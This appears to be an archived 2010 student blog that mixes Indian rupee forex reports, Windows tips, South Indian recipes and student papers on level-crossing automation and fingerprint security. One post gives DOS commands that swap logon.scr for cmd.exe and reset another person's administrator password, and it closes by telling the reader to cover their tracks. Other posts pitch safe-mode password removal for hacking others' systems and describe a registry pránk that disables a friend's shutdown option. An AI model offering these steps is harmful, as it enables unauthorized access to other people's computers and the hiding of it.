STUDENTS INFORMATIONS

Forex Exchange

2010-02-06T03:11:00.000-08:00

India Forex Exchange - Rupee edges lower; awaits Stock opening Written by admin on December 29th, 2009 in India Forex Exchange.

India :Tuesday 29 December 2009: The rupee dropped in early trade on Tuesday tracking a broadly stronger dollar overseas but expectations of a rise in domestic shares limited declines. At 9:04 am the partially convertible rupee was at 46.69/70 per dollar, weaker than its close of 46.65/66 on Thursday. Financial markets were closed on Friday and Monday for holidays. The US dollar rose against the yen and euro in holiday-thinned trading on Monday as investors assessed the outlook for the greenback after a recent rally.

The index of the dollar against six majors was up 0.15 per cent. At 0334 GMT, the MSCI index of Asian stocks ex-Japan was 0.1 per cent higher and Nifty India stock futures traded in Singapore were up 0.3 per cent, suggesting a mildly higher opening in the Indian market. Dealers said some month-end dollar demand from refiners and importers was likely to weigh on the rupee later in the session . India Forex - Rupee rises by 10 paise to 46.67 against US Dollar on Tuesday 29 December 2009 Written by admin on December 29th, 2009 in India Forex.

India Tuesday 29 December 2009 : The rupee firmed up by 10 paise to 46.67 against US Dollar in the early trade today, as against its previous close of 46.77, due to the greenback selling by exporters, traders at the interbank foreign exchange (Forex) said here. The domestic currency advanced further from its previous close as the equity market rallied for the fourth day today after a long weekend, traders said. The month-end demand for dollar from refiners and importers is likely to weigh down on the rupee, they added.

The index of the dollar against six major currencies was up by 0.15 per cent. The partially convertible rupee recorded the high and low at 46.70 and 46.66 respectively amidst volatile trade in the intra-day. Indian Forex Reserves - India’s foreign exchange reserves shrink to $283.64 billion Written by admin on December 28th, 2009 in Forex Reserve of India.

India Monday 28 December 2009 - India’s foreign exchange reserves, including gold and special drawing rights (SDR), which is the reserves currency with IMF, fell to $283.643 billion during the week ended 18 December, from $285.742 billion a week earlier, the Reserve Bank of India (RBI) said in its weekly statistical report. The dip was largely on account of a fall in foreign currency assets, which declined by $2 billion. Changes in foreign currency assets include the effect of appreciation or depreciation of other currencies held in its reserves such as the euro, pound sterling and yen, the RBI said. The value of SDR and the reserve capital with IMF dipped $66 million and $18 million, respectively, during the week. Forex Reserve of India - Forex reserves fall accelerates to $2 Billion as on Friday 26 December 2009 Written by admin on December 26th, 2009 in Forex Reserve of India.

India Saturday 26 December 2009 - Foreign exchange reserves fell by $2.09 billion to $283.643 billion for the week ended December 18, according to figures in the Reserve Bank of India’s Weekly Statistical Supplement. The fall is mainly on account of currency revaluation. This is the second week in a row that forex reserves have declined. In the earlier week, reserves had declined by $1.632 billion to $285.742 billion. In the week under review, foreign currency assets fell by $2.015 billion to $258.851 billion. Foreign currency assets expressed in US dollar terms include the effect of appreciation or depreciation of non-US currencies. Gold was unchanged at $18.182 billion. SDRs fell by $66 million to $5.181 billion. The reserve position in the IMF fell by $18 million to $1.429 billion. Forex Market in India - Indian rupee’s early strength checked by Stocks Written by admin on December 24th, 2009 in Forex Market in India.

India Thursday 24 December 2009: The Indian rupee strengthened on Thursday ahead of a long weekend, tracking higher regional units, but further gains were expected to be difficult after the stock market ran into resistance. At 10:40 a.m. the partially convertible rupee was at 46.75/76 per dollar, off an high of 46.72 but still 0.25 percent stronger than its previous close of 46.87/88. Financial markets will be closed on Friday and Monday for holidays. “It being a thin market, rupee is not strengthening as it should have tracking the equity market,” said V. Kumar, chief foreign exchange trader with State Bank of Travancore. Indian shares rose 0.7 percent in early deals but then gave up all their gains to be flat, after they had jumped 3.2 percent on Wednesday to their highest close since mid-October. All other Asian units were also stronger compared to the dollar. The index of the dollar against six majors was down 0.1 percent. The dollar hovered below a three-month peak against the euro and two-month high on the yen on Thursday as its rally stalled following news of a surprise drop in US home sales that dented optimism about the economy. Dealers said some month-end dollar demand from refiners and importers was likely to weigh on the rupee later in the session ahead of the long weekend. One-month offshore non-deliverable forward contracts were quoted at 46.73/83, little changed from the onshore spot rate. In the currency futures market, the most traded near-month contracts on the National Stock Exchange and MCX-SX were both quoting at 46.7575 respectively, with the total traded volume on the two exchanges at about $570 million. India Forex - Rupee appreciates by 11 paise to 46.76 vs US Dollar on Written by admin on December 24th, 2009 in India Forex.

India Thursday 24 December 2009 : The rupee appreciated by 11 paise to 46.76 against US Dollar in the early trade today, compared with its previous close of 46.76, on sustained selling of the greenback by exporters, traders at the interbank foreign exchange (Forex) said here. It had slid by six paise to 46.87 83 against the Dollar yesterday. The convertible rupee went see-saw in the intra-day trade, as it recorded its high and low at 46.76 and 46.72 respectively. The domestic currency was in recovery mode today as equity market opened in the green in line with other Asian markets, traders said. All other Asian units were also stronger compared to the dollar. The index of the dollar against six majors was down 0.1 per cent. Dealers said some month-end dollar demand from refiners and importers was likely to weigh on the rupee later in the session. Markets will be closed tomorrow for Christmas and on Monday for Mohurrum. Forex Rates India - Wednesday 23 December 2009 Written by admin on December 23rd, 2009 in Forex Rates India. The Foreign exchange rates in India are updated daily from the data as published by Reserve Bank of India. It covers the currencies – US Dollars, GB Pounds, Euro & Yen. Closing Forex Rate for Wednesday 23 December 2009: 1 USD - 46.8500 1 EURO - 66.7700 1 GPB - 74.7164 100 YEN - 51.0800 Thomas Cook India Forex - Major currencies fall on Wednesday 23 December 2009 Written by admin on December 23rd, 2009 in Thomas Cook India Forex.

India Wednesday 23 December 2009 : Following are the indicative currency notes and travellers’ cheques buying and selling rates per unit as given by Thomas Cook India here today. (Figures in Rupees) Currencies Buy Sell US Dollar 44.10 49.30 Sterling Pound 70.65 78.40 Euro 62.70 69.95 Australian Dollar 39.10 43.10 Bahrain Dinar 116.00 132.15 Canadian Dollar 41.15 46.30 Danish Kroner 08.20 9.55 Egyptian Pound 06.15 08.85 Hong Kong Dollar 05.50 06.55 Japanese Yen/100 47.70 53.10 Jordan Dinar 58.60 67.90 Kuwait Dinar 137.85 164.25 Malaysian Ringgit 12.20 14.85 New Zealand Dollar 30.15 34.85 Norwegian Kroner 07.30 08.50 Omani Rial 113.55 129.25 Qatar Rial 11.95 13.75 Saudi Rial 11.65 13.40 Singapore Dollar 30.40 35.60 South African Rand 05.35 06.45 Swedish Kroner 05.85 06.75 Swiss Francs 41.80 48.10 Syrian Pound 00.35 01.10 Thai Baht/100 129.30 152.45 UAE Dirham 11.90 13.50 Chinese Yuan 05.00 07.80. India Forex - Rupee dips by 2 paise to 46.83 against US Dollar on Wednesday 23 December 2009 Written by admin on December 23rd, 2009 in India Forex.

The Foreign exchange rates in India are updated daily from the data as published by Reserve Bank of India. It covers the currencies – US Dollars, GB Pounds, Euro & Yen. Closing Forex Rate for Tuesday 22 December 2009: 1 USD - 46.8000 1 EURO - 66.8800 1 GPB - 75.1772 100 YEN - 51.26

To Hack the administrator password

2010-02-03T00:33:00.001-08:00

Enter into safemode settings by using the hotkey’s while entering the window booting and then DOS and then follow the steps:

In the DOS:

cd\ *drops to root

cd\windows\system32 *directs to the system32 dir

mkdir temphack *creates the folder temphack

copy logon.scr temphack\logon.scr *backsup logon.scr

copy cmd.exe temphack\cmd.exe *backsup cmd.exe

del logon.scr *deletes original logon.scr

rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos

The command given in DOS is just the computer backup and the screen saver file and edit the setting when the system reboots and get the unprotected DOS prompt without logging into XP

After finishing this enter this command minus the quotes

· "net user password"

If the existing Administrator Account is called Deepan and you want the password Jaya enter this

"net user Deepan Jaya"

and this changes the password on Deepan machine to Jaya and your in.

Try this its workinkg and enjoy!

Note: Please copy the contents of temphack back into the system32 directory to cover tracks

Automatic Login in Administrator

2010-02-03T00:31:00.000-08:00

Here is the trick which you can use to prove that Windows XP is not at all secure as multi-user operating system. Hacking the system registry from any account having access to system registry puts you in to the administrator account.

REGEDIT 4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"AutoAdminLogon"="1"

To Increase the Computer process speed

2010-02-03T00:30:00.000-08:00

This is one of the simple trick for view or edit your personal computer Window settings quickly without doing operational commands like DOS or other platforms.

· First remove all history and cookies from your system.

· Then go to start in the start menu

· All programs->Accessories->System tools->Disk cleanup

Trick to view or edit the Windows settings

2010-02-03T00:29:00.001-08:00

This is one of the simple trick for view or edit your personal computer Window settings quickly without doing operational commands like DOS or other platforms. Try and enjoy this trick!

· Go to start menu and then go to RUN.

· Type wscui.cpl it will open your systems security center.

· Now with that security center you can view or edit the windows settings.

To Remove the password of computer

2010-02-03T00:28:00.001-08:00

This is one of the special feature provided in the windows. It is useful to change the password if you forgot your password of your own system or if you want to hack some others system password. Here is the tips enjoy it

• Switch On the System first

• Press F5 while the system gets booting

• A menu will be displayed select safemode in that menu

• Select the administrator and go to use account

• Now you can remove or change the password

To use Onscreen keyboard

2010-02-03T00:26:00.000-08:00

The windows is consist of the special feature its Onscreen Keyboard. Now its easy to produce Onscreen Keyboard in your computer. In order to do that just follow the steps given below:

• Go to start menu and then go to RUN.

• Type osk and then enter

• Now the Keyboard is displayed on your screen.

Displaying the notice during the startup

2010-02-03T00:24:00.002-08:00

Want to tell your friends and neigbours about the do's and dont's in your computer when they login in user absence. One can do it very easily by displaying a legal notice at system start up as follows

REGEDIT

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]

"legalnoticecaption"="enter your notice caption"

"legalnoticetext"="enter your legal notice text"

No Shutdown option

2010-02-03T00:24:00.001-08:00

Want to play with your friends by removing the shutdown option from start menu in their computer.
you can hack it down by following the steps!!!
Regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
"NoClose"="DWORD:1"

Delaying the menus

2010-02-03T00:22:00.000-08:00

Removing the delay from menus sliding out. For this you have to usee regedit (open regedit by going to Start -> Run..., then typing 'regedit' and pressing enter). The key you need to change is located in HKEY_CURRENT_USERControl PanelDesktop. The actual key is called MenuShowDelay - all you have to do is change the value to 0.shutdown the system so that it will take effect

Autoplay And GPEDIT.MSC

2010-02-03T00:20:00.002-08:00

One of the file that comes with XP is gpedit.msc. Go to Start -> Run... and then type in 'gpedit.msc' and press enter. This is effectively the Policies Editor, and it comes in handy often. For example, if you hate CD autoplay like I do and want to permanently disable it, you can use this tool to do so. Just run gpedit.msc, then go to Computer Configuration -> Administrative Templates -> System. In here you can see the value 'Turn Off Autoplay'. Right-click on it and then click 'Properties'.

EFFECT OF PARAMETERS ON THE QUALITY OF SINTER

2010-02-03T00:20:00.001-08:00

JSW Steel Limited, Salem Works is a part of JSW Group. JSW STEEL LIMITED, SALEM WORKS has a integrated steel plant at Pottaneri, M Kalipatti village about 35 kms from Salem for manufacturing reinforcing steel re-bars, spring steel flats, bars and rods.
The company in the business of manufacturing of pig iron, steel billets which is a input for bars and rods at its integrated steel plant. JSW STEEL LIMITED, SALEM WORKS has introduced new special steel grades in the market. At present the alloy and special steel is 32-35% of total production.

Transient Multi-Monitor Manager(TMM)

2010-02-03T00:19:00.001-08:00

The Transient Multi-Monitor Manager(TMM) is a tool which helps the laptop users to configure external monitors.Here windows Vista provides this oppurtunity to do.In oder to enable this facility just follow the necessary steps.

Click start,right-clickComputer nad choose Manage.Navigate to Task Scheduler>Task Scheduler Library>Microsoft>windows>Mobile PC,right click TMM in the central pane and choose disable.

Sticky notes in Windows Vista

2010-02-03T00:18:00.001-08:00

Today using the Pc is not so easy one can't escape from anyone mailing,phone calls etc.But now its eay to get rid of this problems by using sticky notes if you have microphone.It is very simple to use it.Here is the tips just go to start and then type Sticky and then press enter.Then tablet the Components and click ok.

How to increase the speed of copying files across Windows Vista

2010-02-03T00:17:00.000-08:00

some of the end users of computer find difficult in copying the files across Windos Vista.And here is the tips to increase the speed of copying the files.

Go to start and then type Optionalfeatures.exe and the press enter.Then you will see a new window is opened as Windows Features.Now clear the box next to Remote Differential Compression and the click ok.Reboot the system and try to copy again.

How to check windows error Files

2010-02-03T00:16:00.002-08:00

Some of the end users of the computer do not know how to find the windows error file.But it is quite easier to do so.This knol is written for those users to reveal how to check the windows error files.Follow the steps given below in order to find the error files:

1.Go to Start

2.Select run

3.Type SFC

4.Press enter and view the error file in windows

How to hide a folder in Nokia mobile phones

2010-02-03T00:16:00.001-08:00

Some of the user of the mobile phone Nokia are aware of how to hide a folders in the phone.They want to know this but most of them are not.Here after known need to worry about that because here is one of the good way to hide a folder in nokia.In oeder to do that just change the folder extension from any default format to .ota or .nth.For example filename.ota or filename.nth

Setting up Restore point in Vista

2010-02-03T00:14:00.000-08:00

This knol is shows that how to setup a system restore point in Window Vista.This will help the windows vista users.

1.Go to Start menu

2.Type system restore

3.Then click on system restore icon that appears on the list

4.Click continue if you see a User Account Control(UAC)promt and in the text window

5.Click the open system protection link at the bottom

6.Now click on create give your restore point name and then click create.

How to attain Processor Power Management in Vista

2010-02-03T00:13:00.000-08:00

This knol helps the Vista users to manage the Processor Power.Here is the steps to be followed to do that so...

1.Go to control panel and click.

2.select System and Maintenance

3.select Power options

4.Now select very low Power

5.And then change plan settings

6.Finally change Advanced Power settings

How to arrest windows rebooting for sometime

2010-02-03T00:11:00.002-08:00

Some of the down loaders will find difficult when windows reboots(if required) while downloading process is takes place.But now its easy to arrest the rebooting process for sometimes.Just follow the steps to do so.

1.Click Control panel

2.select System and Maintenance

3.Now select Windows Update

4.Change settings and set as 'Install new updates'

After doing this all.If you want to postpone a reboot means do the following steps:

1.Click start

2.Type services.msc and press enter

3.Now double click the Windows Update service

4.Click stop>ok

Recipe-Venn Pongal

2010-02-03T00:11:00.001-08:00

Ingredients

Rice - 1/2 glass [ rice and ciru dhall soak into 10 or 15 mins]

Ciru Dal - 1/2 glass

Water - 3 glass

Pepper - 1 tsps

Jeera seeds - 1 tsp

Ginger - 1/2 inches

Cashew nuts - 5

Ghee - 3 tsps

Salt to taste

Method

Cook the rice and dal and add salt together either in a pressure cooker or in a vessel directly on the stove.

The two should be cooked till soft.

In a seperate kadaai add the ghee and when it is hot fry the cashew pieces in it.

When the pieces turn brown add the crushed pepper and Jeera

When they splutter add ginger & garlic and fry.

Add the cooked mixture of the rice and dal.Mix well.

How to cook Indian recipe-Sambar

2010-02-03T00:09:00.002-08:00

Ingredients

Tuvar dhal – 1/2 glass (soak for 15 or 10 mins)

Vegetables (like sambar onions-1, tomato -1, any vegetables)

Tamarind – 3 pieces (soak for 10mins)

Coriander leaves - 2 tablespoons

Curry leaves - 1 tablespoon

Salt to taste

Turmeric powder - 1/4 teaspoon

Oil - 1 tablespoon

Mustard seeds - 1 teaspoon

Ulunthu dhal - 1/2 teaspoon

Perunggayam powder – 1 pinch

Chilly powder – ½ or ¾ tsp

Garlic

Method

Pressure cook dhall with one and a half cups of water, perunggayam powder, turmeric powder,garlic wait for ten minutes and mash well. [use pressure cooker wait for 2 vesil]

Soak tamarind in one cup of water for five minutes and strain out juice.

Heat oil in a pan, add mustard seeds, ulunthu dhal and add onion, tomato, vegetables and then fry

Add chilly powder , some water and then boiled for 5 minutes .

Next take a bowl mix into dhal, tamarind juice, curry and coriander leaves , add boiled vegetables ,salt and then cook for 5 or 10 minutes

Recipe-Simple Sambar

2010-02-03T00:09:00.001-08:00

Ingredients

Thuvaram Dhall - 1/2 glass ( soak for 10 or 15 minutes)

Onion - 1

Tomato - 1

Perunggayam Powder - 1 pinch

Turmeric powder – 1 pinch

Vegetable only add carrot or brinjal (vegetables are not necessary)

Oil, Mustard and ulunthu, coriander and curry leaves

Chilly powder-1/2 or 3/4 tsp, salt , garlic

Tamarind 3 pieces (soak for 10 mins)

Method

Take a bowl add dhall,onion,tomato,perunggayam and chilly powder,salt, vegetables (not necessary), water, coriander leaves and then cook

Next stop the stove take a bowl and then add tamarind juice, boil for few minutes and take a pan heat oil,mustard,ulunthu dhall, curry leaves.

Recipe-Dhall for chappathi

2010-02-03T00:08:00.001-08:00

Ingredients

Dhall – 1/2glass (soak for 10 or 15 mins)

Perunggayam powder - 1 pinch

Red Chillies – 1tsp , oil, mustard and ulunthu dhall (thalika)

Turmeric powder - 1pinch

Method

Take a bowl add dhall, perunggayam powder , water , turmeric powder and wait for fully boiled and then take a pan heat oil, mustard, ulunthu dhall and red chillies(thalika) and then mix into cooked dhall.

Indian Recipe-Potato kuruma for chappathi, dosa

2010-02-03T00:07:00.000-08:00

Ingredients

Potato (boiled) – 1

Green chilly – ½ or 1

Onion – 1 ,

Tomato – 1 (tomato not necessary)

Oil, Mustard and ulunthu Dhall , Curry leaves , Salt

Turmeric powder – 1pinch

Method

Take a pan heat oil, mustard and ulunthu dhall, Green chillies, curry leaves, and then fry

Add onion, tomato and fry for turn brownish color and add some water , salt , turmeric powder and cook for few mins.

And then add boiled potato.

Indian Recipe-Seamiya

2010-02-03T00:06:00.002-08:00

Ingredients

Seamiya - 1 cup

Water - 2 cup

Onion - 1

Green chilly - 1

Garlic paste - 1 pinch

Kadalai dhall, curry leaves

Oil , mustard and ulunthu dhall

Method

Take a pan heat oil, mustard and ulunthu dhall, kadalai dhall, curry leaves, Green chilly and then fry , add onion and garlic paste (not necessary) and then fry into brownish color

And add water boil for 5 mints and add seamiya , salt and then deep cook.

Note:

Add tomato – 1 and turmeric powder - 1 pinch ( dish name kichadi)

Indian Recipe-Potato fry

2010-02-03T00:06:00.001-08:00

Ingredients

Oil, Mustard and ulunthu dhall

Potato - 5 or 6 pieces, curry leaves and

chilly powder - 1/2tsp , salt

Method

Take a pan heat oil, mustard and ulunthu dhall, and then add sliced potato, curry leaves and then boiling for potato.

After few mints add ¼ tsp chilly powder , salt and spread into some water wait for deep fry.

Indian Recipe-kaarai kuzhambu

2010-02-03T00:05:00.002-08:00

Ingredients

Oil, mustard and ulunthu dhall, curry leaves

Onion -1

Tomato -1

Any one vegetables (brinjal, potato , ladiesfinger)

Tamarind - 3pieces (soak)

Chilly powder – 1½ tsp and salt

Method

Take a pan heat oil, Mustard and ulunthu dhall , curry leaves, onion, tomato and boil to turn brownish color and add any vegetables fry for few minutes

Add chilly powder , water , salt and wait for boil to vegetables. Next to add tamarind juice boil for few minutes.

Note:

Venthaya kaarai kuzhambu( method)

Don’t use vegetables and only use venthayam . where to be cook? Oil, mustard and ulunthu dhall, 1tsp venthayam,curry leaves,onion,tomato and then fry to turn brownish color.

Add chilly powder,salt and tamarind juice wait for boiling minutes .

Avoid vegetables.

Recipe-Vegetable or Chicken or Mutton Biriyani

2010-02-03T00:05:00.001-08:00

Ingredients

Basmathi rice - 1glass (soak for 15mins)

Water - 2 glass only for cooker (using normal vessel take 2 ½ glass)

Pattai - 1

Lavanggam - 1

Birinji leaves - ¼, jackfruit seeds

Oil , onion - 1

Tomato - 1 only for biriyani (preparing tomato rice u must use 2 tomato)

Garlic and ginger paste - 1tsp

Vegetables (potato,carrot,beans or peas) or mutton or chicken [ don’t use this item in tomato rice]

Green chillies - 1 [ mash with ginger and garlic paste this is not necessary unfortunately u get in mixi]

Chilly powder - 1/2tsp

Coriander leaves and salt

Curd should use only for chicken or mutton biriyani - (3 tsp)

Method

Take a pan heat oil, pattai, lavanggam, birinji leaves, onion and fry

Add ginger & garlic paste, green chillies, coriander leaves and fry

Tomato and then deep fry add vegetables or chicken or mutton and wait for boiling to vegetables or non vegetables

Chilly powder ,salt, curd and add water wait for 2 minutes

Add rice after u get a 2 vesil of pressure cooker switch off the stove and then wait for 5 minutes and release the pressure.

South Indian Recipe-Rasam

2010-02-03T00:03:00.000-08:00

Ingredients

Tamarind - 2 pieces (soak for 10mins)

Water – 1 glass

Tomato – 1/2 pieces

Garlic – 1tsp

Rasam powder – 1tsp

Coriander and curry leaves

Oil, mustard and uluntham dhall

Perunggayam – 1 pinch

Method

Take a bowl mix into tamarind juice , tomato, garlic, rasam powder, coriander and curry leaves.

Heat oil, mustard and uluntham dhall, perunggayam powder and then add tamarind mixers.

Wait for 5mins ( oru kodhi varanum).

South Indian Recipe-Tomato chutney

2010-02-03T00:00:00.000-08:00

Ingredients

Onion – 1

Tomato – 1

Oil, mustard and uluntham dhall

Garlic, chilly powder – 1½ tsp

Turmeric powder – 1pinch

Salt and curry leaves

Method

Take a pan heat oil, mustard and uluntham dhall, curry leaves, onion , garlic and fry into brownish color.

Add tomato and fry and then add chilly powder, water , salt

Wait for boil to chutney

Note :

U want kuruma avoid mustard and uluntham dhall .

Add pattai – 1 and birinji leaves – ¼.

Finally add karam masala – 1/2 tsp and coconut ( not necessary).

AUTOMATED SYSTEM FOR CONTROLLING UNMANNED LEVEL CROSSING

2009-12-28T23:39:00.001-08:00

ABSTRACT
The Indian railways have grown in stature and size to an unimaginable extent since its inception. Ours being the second largest network in the world, the number of accidents has also increased in number. A major junk of these accidents take place in the level crossings in general and in the unmanned level crossings in particular. This paper is an attempt to eliminate the accidents which take place due to the carelessness of some reckless human beings which not only cost their lives but also those of innocent others. This novel idea is applicable to both single lines as well as double lines. The system is fully automatic in the case of double lines and “almost” automatic in single lines. Relays employed in this system sense the approaching train and also transmit the power required to operate the motor which opens and closes the level crossing gates. The opening and closing process are carried out by a single two winding slip ring Induction motors which can rotate in both the ways. This is only a one time investment since the circuit driven by a battery which uses non-conventional source of energy, primarily a solar cell.

I. INTRODUCTION:
Indian Railways has 63,000 route km, 44,000 coaches, 7,700 locomotives, 2.16 lakh wagons, 6,850 block stations, a workforce of more than 15 lakhs, 1.2 lakh bridges, , daily staff expenditure of Rs 52 crore, daily revenue expenditure of Rs 99 crore and daily transport output of two million train km, 14 million passengers traveling by 8,700 passenger trains and 5,700 freight trains.

The numbers of level crossing gates account to more than 38,000 level-crossings, of which 16,550 are manned level-crossings and 21,800 unmanned level-crossings, and a very complex nature of road traffic, less than 100 accidents take place a year on these level-crossings and, thus, the level-crossing mishap of 0.10 per million trains km, places India above several advanced countries.
The death toll in the accidents on unmanned level crossings (37 per cent), accidents on manned level-crossings (9 per cent) . But, the cost of manning unmanned level-crossings is huge. It is estimated that the Railways will require approximately Rs 2,500 crore as capital cost to man all the unmanned level-crossings and another Rs 700 crore per annum as maintenance and operation cost.
At present the railway level crossing gates are opened and closed manually with two or three gatekeepers manning the gates round the clock which is laborious and costly .If these gates can be closed and opened electrically from one place, it will be easy and cost effective. So a cost effective system is the need of the hour to open and close Level Crossing (LC) gates is the need of the hour. This is an attempt to take the requirement ‘HEAD ON’….

II . THE PRESENT SYSTEM:
At present Level Crossing gates are either manned or unmanned. At manned gates, two or three men work in rotation round the clock. They close the gates for the passage of trains and open them when there is no train movement. Whenever human element is involved, the possibility of ‘human error’ looms large.

Gatekeepers tending to relax or work in inebriated mood will cause accidents. In Fact many such accidents are reported.

Employing Gatekeepers at gates cost the railway exchequer a lot of money as mentioned above. Combining with it, the number of accidents that take place round the year makes the attempt to open and close LC gates electrically a reliable alternative that is worth trying.

II . THE SYSTEM IN “GIST”:
When a train approaches within two Kilometers(2 Km) of the LC gate an arrangement provided there will send signals towards the LC which will activate an alarm installed there to go on. This warns the road users that a train is within two Kilometers of the LC and it is not safe to attempt to cross it now. When train within 1.5 Kilometers from the LC, another arrangement installed there will send electric current which will activate the motor that holds the boom of the LC gate, and the gate will get automatically closed by means of a gear arrangement.
After the train has crossed the LC fully the electrical arrangement provided would activate the motor, which will open the LC for the passage of road users.

III . RELAY OPERATION:
The relay used is Attracted Armature Type Electromagnetic Attraction Relay. The relay consists of a laminated electromagnet M carrying a coil C and pivoted laminated armature. The armature is balanced by a counter weight and carries a pair of spring contact fingers at its free ends. On a normal operating condition the current through the relay coil C is such that the counter weight holds the armature in the position shown. However, when a short-circuit occurs the current trough the relay coil increases sufficiently and the relay armature is attracted upwards. The contacts on the relay armature bridge a pair of stationary contacts attached to the real frame. This completes the trip circuit.
The minimum current at which the relay armature is attracted to close the trip circuit is called “Pick-Up Current”.

The process of application of the system is different in single line and in double lines. About 30% to 40% of Indian railways have double lines to operate the services wherein the train takes the lines according to the direction in which train proceeds. Up trains always take one

track and the down trains take the other track. It is predetermined.

A.)IMPLEMENTATTION ON DOUBLE LINES:
The track at a distance of 2000 meters in the rear side of the LC is demarcated for a length of 19 meters (since the length between two trolleys of a compartment is 18 meters. So that at least one wheel of the train is on the demarcated line (T1 as shown in fig1) by placing an insulating material. To this demarcated track T1 we connect a AC source which draws power from a solar cell placed adjacent to the source. To this demarcated track phase of the AC supply is given to one line of the track and the neutral is given to the other. From the track the phase and neutral are in turn connected to the electromagnet in the relay. The armature of the relay is given a separate supply. The output is taken from the downlink of the relay and is connected to a buzzer on the either side of the LC gate. Now a similar arrangement is made at the 1500th meter let the track demarcated here be named as T2). But is this case the output of the downlink of the relay is given to a step up transformer. The stepped up power is given to a Two winding Slip ring Induction motor placed on the either side of the LC gate. The motor can rotate in two directions so that it can lift and down the boom of the LC.

OPENING MECHANISM:

When the train comes to the 2000th meter i.e. T1 track circuit phase and neutral present on the either lines get short-circuited. As a result no power is transmitted to the relay. As such the electromagnet in the relay demagnetizes and hence it releases the attracted armature. The net result is the movement of the armature from the uplink to the downlink. Hence the supply given to the armature is transmitted to the buzzer on the either side of the LC through the downlink. At this point of time the alarm starts ringing that the gate is going to be closed within a short span of time. Now when the train reaches the second zone i.e. T2, which is at 1500 meters from the LC gate by a similar process as mentioned above the power is derived from the down link of the relay it is taken to the step up transformer. The power from the relay is first stepped up and given to a Two winding Slip Ring
Induction Motor. The moment the motor gets supply it will rotate in such a direction so that the gate gets closed.
Now another similar Track circuit arrangement (T3) is made at the 800th meter (since the longest train operated by the Indian railways is 720 meters) ahead of the LC gate. The output of the relay is given to the Two Winding Slip Ring Induction motor but with opposite polarities to rotate the motor in the opposite direction.

CLOSING MECHANISM:
After the train crosses the LC gate and reaches the zone T3.Now it is to be noted that the entire train has crossed the LC gate. Same process takes place when the train reached the zone T2 for closing the gate except that the power from the downlink of relay is taken to transformer and stepped up and given to the motor in the opposite direction so that it rotates in the opposite direction to open the gate.
The same process is carried out in the adjacent track for the movement of down trains but track circuit for the activation of the buzzer (let it be T4), and track circuit for closing the gate (let it be T5) are placed at 2000th and 1500th meter respectively are arranged on the side where closing circuit is designed for the track which handles the movement of up trains and the track circuit for opening the gate (let it be T6) is placed at 800th meter on the side where opening circuit is designed for the track which handles the movement of up trains.

B.)IMPLEMENTATION ON SINGLE LINES:
In the case of single lines the movement of up trains and down trains takes place on the same track unlike the one in the case of double lines where the up and own trains move on different tracks. Most of the tracks in the Indian railways fall under this category. All the arrangements are similar to the arrangements of the double line except three more track circuits are provided namely T4, T5 and T6. In this case T1, T2 and T3 are used for the movement of the up trains similar to that of double lines. But T4, T5 and T6 are used for the movement of down trains. Separate supplies are given to these track circuits but the operation of T4, T5 and T6 are similar to track circuits T1, T2 and T3. The supplies from T1, T2 and T3 are combined to gather into a switch S1. Similarly the supplies from T4, T5 and T6 are combined to gather into a switch S2. Both these switches are provided in the station, which is operated by the Station Master. If S1 is switched on the supply is given to T1, T2 and T3. Similarly if S2 is switched on the supply is given to T4, T5 and T6.
If the stationmaster switches S1 on and S2 off then it would enable the movement of up trains. Similarly if the stationmaster switches S1 off and S2 on then it would enable the movement of down trains.

V. PRECAUTIONS AND DUAL OPERATION: -
The opening and closing of the LC electrically is meant for foolproof operation of the LC gate for the safe passage of trains. If the system fails then an arrangement is provided so that the gate can be closed and opened manually. When the system is working a visible indication by means of provision of a light and alarm at the Stationmaster’s room. If the light is switched off and if the alarm stops ringing then it could be understood that there is a fault in the system. Hence the gate can be manually operated.

VI . ADVANTAGES:

1. This method is cost effective since it is only a one-time investment.
2. This method is free from human errors.
3. Since we use only relays the operation is also cheap.
4. There is no need to spend on power also since we use only solar cell

VII.CONCLUSION:
Hence an alternative method for the control of LC gates is being presented. We have consulted many employees in the Mechanical and Safety sections of the southern railway who helped us by giving the required data regarding the length of the compartment and in various other areas. We would like to thank them on this occasion.

FINGERPRINT TECHNOLOGY BASED ON AUTHENTEC FOR SECURITY

2009-12-28T23:36:00.000-08:00

ABSTRACT:

Securing computers and other peripherals of any organization is one of the leading problems in the real world. Computer viruses, hacking, theft and fraud have left individuals, companies and government organizations struggling to protect their hardware, software -- and most importantly, their data -- from falling into the wrong hands. In this paper we have suggested an advanced security method, FINGERPRINT TECHNOLOGY, based on authentec’s “trueprint”.
They used surface-sensing methods to read the fingerprint pattern off the surface of the finger skin. These early devices used optical imaging methods to take a picture of the finger skin. Subsequently a variety of sensing mechanisms were employed to detect the patterns on the surface of the finger and convert those patterns into electrical signals. Here we have used FbiDrive which is designed and focused on the personal security and convenience in the digital world.
It is portable, durable, and user friendly solution for any knowledge and age groups.

Trueprint technology used surface-sensing methods to read the fingerprint pattern off the surface of the finger skin. Most accurate/reliable imaging-for network security and convenience,fastest imaging-for authentication and navigation,smallest form factors-fro any electronic device,very versatile-enabling The Power Of Touch.The sensor FBiDrive used here is implemented on this technology.

KEY FEATURES:

 Easy installation and remote installation.
 Fingerprint technology
 Secure user data
 PC protection
 Online verification
 Data encryption
 USB interface

WHAT IS FBiDrive?
FBiDrive is a distinctive solution comparing with existing fingerprint devices or flash memory storages. Flash memory storages are well known as convenient storages but the users are not free from data theft or drain. Equipped with fingerprint authentication sensor, large memory storage, and its own applications, FBiDrive is a portable versatile multi functional personal authentication device.User fingerprint information is stored in the device and flash memory storage access is controlled after user fingerprint authentication.
Software configuration

Device Lock
Flash memory storage access is controlled by the access control program. FBiDrive storage is divided by an application / fingerprint storage (< 4Mb) and a large storage (128MB up to 2GB). In the default stage, the protected storage will be used as ‘read only’. A user is allowed to access the large storage when authorized by Device Lock. A user can easily manage the storage access and the write protection function unlock. A user is not allowed to use the large storage when the user is not authorized. FBiDrive provides protection in case of loss, theft, unauthorized use.
. User Authentication
Secures device by fingerprint authentication.Fingerprint authentication has two major methods. One is ‘the image matching method’ and ‘the minutiae information calculating method’ which is comparing calculated data of characters of user fingerprint. ‘The image matching method’ is usually used in legal/governmental departments and criminal investigations because of its accuracy from actual images. ’The minutiae information calculating method’ requires relatively small size of data so it is a popular method when online or network activities.

Bookmark
